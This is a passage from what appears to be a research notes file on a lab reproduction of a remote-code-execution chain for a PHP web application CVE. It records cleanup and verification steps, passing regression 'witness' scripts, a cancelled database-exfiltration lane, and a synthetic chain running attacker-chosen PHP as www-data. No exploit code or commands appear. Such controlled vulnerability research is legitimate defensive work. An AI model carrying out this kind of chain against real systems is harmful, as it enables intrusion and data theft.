Restore discipline unchanged and verified per run (try/finally): `.htaccess` restored byte-identical (`md5 1c79eba61b05...`, mode 444 www-data:www-data), marker removed, homepage 200 on both sites. Regression: `gadget_witness.py` (all lanes), `synthetic_http_witness.py`, `rce_capability_witness.py`, `rce_shell_witness.py` all PASS. Figure: `screenshots/cve-2026-108097-full-rce-chain-20261018.png` (single-pane retake).

Supported/NOT supported: unchanged except the execution content, on 11.4.9 only, the synthetic-bridge chain now demonstrates attacker-chosen PHP executing allowlisted OS commands as www-data through the sink. Still SYNTHETIC (lab_bridge builds the rows; not a discovered contrib route; KAN-3011 remains the open gate).

Cleanup note (18 October 2026): the DB-exfil lane was cancelled by the owner (RCE via webrce3 subsumes it); the `exfildb` bridge choice was removed unused/unwitnessed and the module restored to the pre-exfildb state, ProbeController md5 `bf6d4fb88cbac51337183ee5f7a65f30` in both containers (note: this corrects the cleanup ticket's quoted target `d2e2f4e3…`, which was the first gadget-table deploy predating webrce2/webrce3/exfileenv; `bf6d4fb8…` is the witnessed pre-exfildb state, verified byte-identical).

Archived from https://github.com/fortbridge/cve-2026-108097-research/blob/1b8509713064e440068b0561eaf4a2a458831b2b/docs/RCE-CAPABILITY-WITNESS.md. Rendered offline from the local Markdown copy.